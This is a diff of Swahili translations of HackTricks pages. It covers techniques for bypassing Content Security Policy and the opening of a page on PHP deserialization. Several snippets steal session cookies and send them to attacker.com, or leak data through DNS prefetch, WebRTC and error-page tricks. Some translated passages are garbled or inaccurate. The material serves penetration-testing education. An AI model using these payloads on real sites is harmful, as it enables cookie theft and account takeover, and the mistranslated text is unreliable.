### Kwa Wafanyikazi wa Huduma
|
||||
|
||||
Kazi za wafanyikazi wa huduma **`importScripts`** hazina kikomo na CSP:
|
||||
Kazi ya **`importScripts`** ya wafanyikazi wa huduma haijazuiliwa na CSP:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -487,12 +506,12 @@ Kazi za wafanyikazi wa huduma **`importScripts`** hazina kikomo na CSP:
|
|||
|
||||
#### Chrome
|
||||
|
||||
Ikiwa **parameta** iliyotumwa na wewe inawekwa ndani ya **tamko** la **sera,** basi unaweza **badilisha** sera kwa njia fulani ambayo inafanya **isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** na moja ya njia hizi za kuvuka:
|
||||
Ikiwa **parameta** iliyotumwa na wewe inawekwa ndani ya **tamko** la **sera**, basi unaweza **kubadilisha** sera kwa njia fulani ambayo inafanya **isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** na njia yoyote hizi za kuepuka:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Kwa sababu hii itakayoelekeza **kufuta mwelekeo wa script-src uliopo**.\
|
||||
Kwa sababu hii itakayoelekeza **kufuta maagizo ya script-src yaliyopo**.\
|
||||
Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
@ -502,8 +521,8 @@ Mfano: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%
|
|||
|
||||
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
|
||||
|
||||
Tambua ukosefu wa mwelekeo wa `'unsafe-inline'`\
|
||||
Wakati huu unaweza kufanya muathiriwa **apakie** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu utafanya muathiriwa kupata ukurasa kutoka mahali unapotaka kutoa habari (**CSRF**). Huwezi kupata maudhui ya ukurasa, lakini kama kwa namna fulani unaweza **kudhibiti muda ambao ukurasa unahitaji kupakia** unaweza kutoa habari unayohitaji.
|
||||
Tambua ukosefu wa maagizo ya `'unsafe-inline'`\
|
||||
Wakati huu unaweza kufanya muhanga **apakie** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu utafanya muhanga kupata upatikanaji wa ukurasa kutoka mahali unapotaka kutoa habari (**CSRF**). Huwezi kupata upatikanaji wa maudhui ya ukurasa, lakini kama kwa njia fulani unaweza **kudhibiti muda ambao ukurasa unahitaji kupakia** unaweza kutoa habari unayohitaji.
|
||||
|
||||
Wakati huu **bendera** itaondolewa, kila wakati **herufi inatabiriwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
|
||||
```html
|
||||
|
@ -567,13 +586,13 @@ run();
|
|||
```
|
||||
### Kupitia Bookmarklets
|
||||
|
||||
Shambulizi hili lingehusisha uhandisi wa kijamii ambapo mkaidi **anamshawishi mtumiaji kuhamisha na kudondosha kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **msimbo wa javascript wenye nia mbaya** ambao unapohamishwa na kudondoshwa au bonyezwa ungeendeshwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au vielelezo.
|
||||
Shambulizi hili lingehusisha uhandisi wa kijamii ambapo mkaidi **anamshawishi mtumiaji kuhamisha na kudondosha kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **msimbo wa javascript wenye nia mbaya** ambao unapohamishwa au bonyeza ungeendeshwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au vibambo.
|
||||
|
||||
Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Kwa habari zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Kupuuza CSP kwa kuzuia CSP
|
||||
|
||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapuuzwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **kuchafua dom** iliruhusu **kutumia skripti tofauti kupakia skripti ya kupendelea**.
|
||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapuuzwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **dom clobbering** iliruhusu **kutumia skripti tofauti kupakia skripti ya kupendelea**.
|
||||
|
||||
Unaweza **kuzuia CSP ya Iframe** kwa kutumia sifa ya **`csp`**:
|
||||
|
||||
|
@ -591,9 +610,9 @@ CSP inaweza kuwa ngumu zaidi kutumia **HTML meta tags** na inline scripts zinawe
|
|||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### Uchukuzi wa JS na Content-Security-Policy-Report-Only
|
||||
### Uchunguzi wa JS na Kichwa cha Usalama wa Yaliyomo-Kisipoti-Ripoti-Pekee
|
||||
|
||||
Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa cha **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunga** **maudhui ya JS** unayotaka kuchukua na **`<script>`** na kwa sababu ni ya uwezekano mkubwa `unsafe-inline` haijiruhusiwi na CSP, hii italeta **kosa la CSP** na sehemu ya script (yenye habari nyeti) itatumwa kwa seva kutoka kwa `Content-Security-Policy-Report-Only`.
|
||||
Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa cha **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunga** yaliyomo ya **JS** unayotaka kuchukua na **`<script>`** na kwa sababu ni ya uwezekano mkubwa `unsafe-inline` haijiruhusiwi na CSP, hii italeta **kosa la CSP** na sehemu ya skripti (yenye habari nyeti) itatumwa kwa seva kutoka kwa `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -604,7 +623,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
### Kuvuja Taarifa na CSP na Iframe
|
||||
|
||||
* `Iframe` inaundwa inayoelekeza kwa URL (tuiite `https://example.redirect.com`) ambayo imeruhusiwa na CSP.
|
||||
* URL hii kisha inaelekeza kwa URL ya siri (k.m., `https://usersecret.example2.com`) ambayo **haikubaliki** na CSP.
|
||||
* Kisha URL hii inaelekeza kwa URL ya siri (k.m., `https://usersecret.example2.com`) ambayo **haikubaliki** na CSP.
|
||||
* Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inafunua kikoa cha URI iliyozuiwa, kuvuja kikoa cha siri ambacho URL ya awali ilielekeza.
|
||||
|
||||
Ni ya kuvutia kufahamu kuwa vivinjari kama Chrome na Firefox wana tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikiongoza kwa kuvuja kwa taarifa nyeti kutokana na tabia isiyojulikana.
|
||||
|
@ -613,39 +632,43 @@ Mbinu nyingine inahusisha kutumia CSP yenyewe kudadisi subdomain ya siri. Mbinu
|
|||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Kwa kufuatilia ni maombi gani yanazuiliwa au kuruhusiwa na CSP, mtu anaweza kupunguza herufi zinazowezekana kwenye subdomain ya siri, hatimaye kufunua URL kamili.
|
||||
Kwa kufuatilia ni maombi gani yanazuiliwa au kuruhusiwa na CSP, mtu anaweza kupunguza idadi ya herufi zinazowezekana kwenye subdomain ya siri, hatimaye kufunua URL kamili.
|
||||
|
||||
Zote njia zinatumia udhaifu wa utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zenye usalama zinaweza kwa bahati mbaya kufichua habari nyeti.
|
||||
Zote njia hizo zinatumia udhaifu wa utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zenye usalama inaweza kwa bahati mbaya kufichua taarifa nyeti.
|
||||
|
||||
Mbinu kutoka [**hapa**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) kwa mawasiliano na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba katika msisimko na changamoto za udukuzi
|
||||
Shiriki na maudhui yanayochimba kina cha msisimko na changamoto za udukuzi
|
||||
|
||||
**Taarifa za Udukuzi za Wakati Halisi**\
|
||||
Kaa sawa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za habari za wakati halisi na ufahamu
|
||||
Endelea kuwa na taarifa katika ulimwengu wa udukuzi unaokwenda kwa kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelekezwa na tuzo za mdudu mpya zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## Teknolojia Hatarishi za Kupuuza CSP
|
||||
## Teknolojia Hatarishi za Kupita Mipangilio ya CSP
|
||||
|
||||
### Kuzidisha Kifurushi cha Majibu ya PHP
|
||||
### Makosa ya PHP wakati wa vigezo vingi sana
|
||||
|
||||
PHP inajulikana kwa **kuzidisha majibu hadi herufi 4096** kwa chaguo-msingi. Kwa hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya maonyo**, **majibu** yatatumiwa **kabla** ya **kichwa cha CSP**, kusababisha kichwa kutozingatiwa.\
|
||||
Kulingana na [**mbinu ya mwisho iliyotajwa katika video hii**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma vigezo vingi sana (vigezo 1001 vya GET ingawa unaweza pia kufanya hivyo na vigezo vya POST na zaidi ya faili 20). **`header()`** yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP **haitatumwa** kwa sababu ya kosa ambalo hili litasababisha.
|
||||
|
||||
### Kuzidi kwa kifurushi cha majibu ya PHP
|
||||
|
||||
PHP inajulikana kwa **kufunga majibu hadi kufikia** baiti 4096 kwa chaguo-msingi. Kwa hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya maonyo**, **majibu** yatatumiwa **kabla** ya **kichwa cha CSP**, kusababisha kichwa kutozingatiwa.\
|
||||
Kisha, mbinu inategemea msingi wa **kujaza kifurushi cha majibu na maonyo** ili kichwa cha CSP kisitumwe.
|
||||
|
||||
Wazo kutoka [**hapa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
Wazo kutoka [**hii andishi**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Kubadilisha Ukurasa wa Hitilafu
|
||||
### Kubadilisha Ukurasa wa Makosa
|
||||
|
||||
Kutoka [**hapa**](https://blog.ssrf.kr/69) inaonekana ilikuwa inawezekana kupuuza ulinzi wa CSP kwa kupakia ukurasa wa hitilafu (labda bila CSP) na kubadilisha maudhui yake.
|
||||
Kutoka [**hii andishi**](https://blog.ssrf.kr/69) inaonekana ilikuwa inawezekana kudukua ulinzi wa CSP kwa kupakia ukurasa wa makosa (labda bila CSP) na kubadilisha maudhui yake.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -654,40 +677,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### BAADHI + 'self' + wordpress
|
||||
|
||||
BAADHI ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) **katika mwisho wa ukurasa** kwa **kutumia** **mwisho mwingine wa asili.** Hii hufanywa kwa kupakia mwisho ulio hatarini kutoka kwa ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwa mwisho halisi katika asili ile ile unayotaka kutumia. Kwa njia hii **mwisho ulio hatarini** unaweza kutumia kitu cha **`opener`** katika **mzigo** kufikia **DOM** ya **mwisho halisi wa kutumia.** Kwa maelezo zaidi angalia:
|
||||
BAADHI ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) **katika mwisho wa ukurasa** kwa **kutumia** **mwisho mwingine wa asili.** Hii hufanywa kwa kupakia mwisho ulio hatarini kutoka kwa ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwa mwisho halisi katika asili ile ile unayotaka kutumia. Kwa njia hii, **mwisho ulio hatarini** unaweza kutumia kitu cha **`opener`** katika **mzigo** kufikia DOM ya **mwisho halisi wa kutumia**. Kwa maelezo zaidi angalia:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Zaidi ya hayo, **wordpress** ina mwisho wa **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambao uta**rejea** **data** iliyotumwa kwenye matokeo (ikiwa na kizuizi cha herufi, nambari na madokezo tu).
|
||||
Zaidi ya hayo, **wordpress** ina mwisho wa **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambao uta**rejea** **data** iliyotumwa kwenye matokeo (kwa kikomo cha herufi, nambari na vitu vya mduara tu).
|
||||
|
||||
Mshambuliaji anaweza kutumia mwisho huo kufanya **shambulio la BAADHI** dhidi ya WordPress na **kulenga** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kuwa **script** hii ita**pakia** kwa sababu imeruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **kupigia simu** ulio hatarini ambao **unapita kwa CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu jalizi mpya...\
|
||||
Mshambuliaji anaweza kutumia mwisho huo kufanya **shambulio la BAADHI** dhidi ya WordPress na **kulenga** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kuwa **script** hii ita**pakia** kwa sababu imeruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **kukaribisha** ulio hatarini ambao **unapita kipengee cha CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu-jalizi mpya...\
|
||||
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Kupita Kizuizi cha Usalama wa Maudhui (CSP)
|
||||
## Kupita Kizuizi cha CSP cha Kufichua
|
||||
|
||||
Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mambo ambayo unaweza kufanya daima kutoa habari kwa mshambuliaji.
|
||||
Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mambo ambayo unaweza kufanya daima kufichua habari.
|
||||
|
||||
### Mahali
|
||||
|
||||
Unaweza tu kusasisha mahali pa kutuma habari za siri kwa seva ya mshambuliaji:
|
||||
Unaweza tu kusasisha mahali kutuma kwa seva ya mshambuliaji habari ya siri:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
### Lebo ya Meta
|
||||
|
||||
Unaweza kuendeleza kwa kuingiza lebo ya meta (hii ni tu mwelekeo, hii haitavuja maudhui)
|
||||
Unaweza kuelekeza kwa kuingiza lebo ya meta (hii ni tu kuelekeza, haitavuja maudhui)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Ili kupakia kurasa haraka, vivinjari vitahakikisha majina ya mwenyeji yanabadilishwa kuwa anwani za IP na kuzihifadhi kwa matumizi ya baadaye.\
|
||||
Unaweza kuashiria kivinjari kubadilisha jina la mwenyeji mapema kwa: `<link rel="dns-prefetch" href="kitu.com">`
|
||||
Ili kupakia kurasa haraka, vivinjari vitahakikisha kutatua majina ya mwenyeji kuwa anwani za IP na kuzihifadhi kwa matumizi ya baadaye.\
|
||||
Unaweza kuashiria kivinjari kutatua mwenyeji mapema kwa: `<link rel="dns-prefetch" href="kitu.com">`
|
||||
|
||||
Unaweza kutumia tabia hii kwa **kuvuja taarifa nyeti kupitia maombi ya DNS**:
|
||||
Ungekuwa unatumia tabia hii kwa **kutolea nje taarifa nyeti kupitia maombi ya DNS**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
|
@ -695,14 +718,26 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
|
|||
```
|
||||
### Kupuuza Sera ya Usalama wa Yaliyomo (CSP) Bypass
|
||||
|
||||
Kuna njia nyingine ya kuzunguka Sera ya Usalama wa Yaliyomo (CSP) kwa kutumia tabia za kawaida za HTML. Unaweza kutumia mbinu hii kuvuka vikwazo vya CSP na kuruhusu utekelezaji wa yaliyomo ambayo vinginevyo ingezuiwa na sera. Hii inaweza kuwa njia ya kuvunja usalama wa tovuti ambayo inatumia CSP kali.
|
||||
Ili kubainisha njia za kuvunja Sera ya Usalama wa Yaliyomo (CSP), unaweza kufuata njia zifuatazo:
|
||||
|
||||
1. **Inline Script**: Weka kanuni za JavaScript moja kwa moja ndani ya vitambulisho vya `<script>`.
|
||||
|
||||
2. **Unsafe Eval**: Tumia `eval()` au `new Function()` kutekeleza kanuni iliyopokelewa kutoka kwa mtumiaji.
|
||||
|
||||
3. **Unsafe Inline**: Weka `unsafe-inline` kwenye sera ya `script-src` au `style-src` ili kuruhusu matumizi ya kanuni za JavaScript au CSS moja kwa moja ndani ya ukurasa.
|
||||
|
||||
4. **Data Scheme**: Tumia `data:` URI scheme kutekeleza kanuni za JavaScript.
|
||||
|
||||
5. **Blob Scheme**: Tumia `blob:` URI scheme kutekeleza kanuni za JavaScript.
|
||||
|
||||
Kwa kufuata njia hizi, unaweza kubaini njia za kuvunja Sera ya Usalama wa Yaliyomo (CSP) kwenye wavuti.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
Ili kuepuka hili lisitokee, server inaweza kutuma HTTP header:
|
||||
Ili kuepuka hili kutokea, server inaweza kutuma HTTP header:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
@ -712,13 +747,13 @@ Inavyoonekana, mbinu hii haifanyi kazi kwenye vivinjari visivyo na kichwa (bots)
|
|||
|
||||
### WebRTC
|
||||
|
||||
Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haikagui sera ya `connect-src`** ya CSP.
|
||||
Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haidhibitishi sera ya `connect-src`** ya CSP.
|
||||
|
||||
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombi la DNS_. Angalia nambari hii:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
Chaguo lingine:
|
||||
Njia nyingine:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -753,15 +788,15 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kushirikiana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
|
||||
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
|
||||
|
||||
**Taarifa za Udukuzi za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo Mapya**\
|
||||
**Matangazo Mapya Zaidi**\
|
||||
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
@ -775,7 +810,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,21 +16,21 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
**Ufisadi wa Data** unaeleweka kama njia ya kubadilisha kitu kuwa muundo unaozuia, kwa lengo la kuhifadhi kitu au kutuma kama sehemu ya mchakato wa mawasiliano. Mbinu hii mara nyingi hutumiwa kuhakikisha kwamba kitu kinaweza kurejeshwa wakati mwingine, kudumisha muundo na hali yake.
|
||||
**Ufisadi wa Data** unaeleweka kama njia ya kubadilisha kitu kuwa muundo unaoweza kuhifadhiwa, kwa lengo la kuhifadhi kitu au kutuma kama sehemu ya mchakato wa mawasiliano. Mbinu hii mara nyingi hutumiwa kuhakikisha kwamba kitu kinaweza kurejeshwa wakati mwingine, kudumisha muundo na hali yake.
|
||||
|
||||
**Ufisadi wa Data**, kinyume chake, ni mchakato unaopinga ufisadi wa data. Inahusisha kuchukua data iliyopangwa kwa muundo fulani na kuirekebisha kurudi kwenye kitu.
|
||||
**Ufisadi wa Data**, kwa upande mwingine, ni mchakato unaopinga ufisadi wa data. Inahusisha kuchukua data iliyopangwa katika muundo maalum na kuirejesha kuwa kitu.
|
||||
|
||||
Ufisadi wa Data unaweza kuwa hatari kwa sababu inaweza **kuruhusu wachomaji kubadilisha data iliyofisadiwa kutekeleza nambari hatari** au kusababisha tabia isiyotarajiwa kwenye programu wakati wa mchakato wa kurejesha kitu.
|
||||
Ufisadi wa data unaweza kuwa hatari kwa sababu inaweza **kuruhusu wachomaji kubadilisha data iliyofisadiwa ili kutekeleza nambari hatari** au kusababisha tabia isiyotarajiwa kwenye programu wakati wa mchakato wa kurejesha kitu.
|
||||
|
||||
## PHP
|
||||
|
||||
Katika PHP, njia maalum za kichawi hutumiwa wakati wa mchakato wa ufisadi na ufisadi wa data:
|
||||
|
||||
* `__sleep`: Inaitwa wakati kitu kinapotumiwa. Mbinu hii inapaswa kurudisha safu ya majina ya mali zote za kitu ambazo zinapaswa kufisadiwa. Mara nyingi hutumiwa kuhifadhi data inayosubiri au kutekeleza kazi za kusafisha sawa.
|
||||
* `__wakeup`: Inaitwa wakati kitu kinapotumiwa. Hutumiwa kurejesha tena uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa ufisadi na kutekeleza kazi zingine za kuanzisha upya.
|
||||
* `__unserialize`: Mbinu hii inaitwa badala ya `__wakeup` (ikiwa ipo) wakati kitu kinapotumiwa. Hutoa udhibiti zaidi juu ya mchakato wa ufisadi ikilinganishwa na `__wakeup`.
|
||||
* `__destruct`: Mbinu hii inaitwa wakati kitu kinapokuwa karibu kuharibiwa au wakati skripti inamalizika. Kawaida hutumiwa kwa kazi za kusafisha, kama kufunga vitambulisho vya faili au uhusiano wa database.
|
||||
* `__toString`: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kusoma faili au kazi zingine kulingana na wito wa kazi ndani yake, kutoa uwakilishi wa maandishi wa kitu.
|
||||
* `__sleep`: Inaitwa wakati kitu kinapotumika kufisadiwa. Njia hii inapaswa kurudisha safu ya majina ya mali zote za kitu ambazo zinapaswa kufisadiwa. Mara nyingi hutumiwa kuhifadhi data inayosubiri au kutekeleza kazi za kusafisha sawa.
|
||||
* `__wakeup`: Inaitwa wakati kitu kinapotumika kufisadiwa. Hutumiwa kurejesha tena uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa ufisadi na kutekeleza kazi zingine za kuanzisha upya.
|
||||
* `__unserialize`: Njia hii inaitwa badala ya `__wakeup` (ikiwepo) wakati kitu kinapotumika kufisadiwa. Hutoa udhibiti zaidi juu ya mchakato wa ufisadi ikilinganishwa na `__wakeup`.
|
||||
* `__destruct`: Njia hii inaitwa wakati kitu kinapokuwa karibu kuharibiwa au wakati wa mwisho wa skripti. Mara nyingi hutumiwa kwa kazi za kusafisha, kama kufunga vitambulisho vya faili au uhusiano wa database.
|
||||
* `__toString`: Njia hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kusoma faili au kazi zingine kulingana na wito wa kazi ndani yake, ikitoa uwakilishi wa maandishi wa kitu.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
@ -86,10 +86,10 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
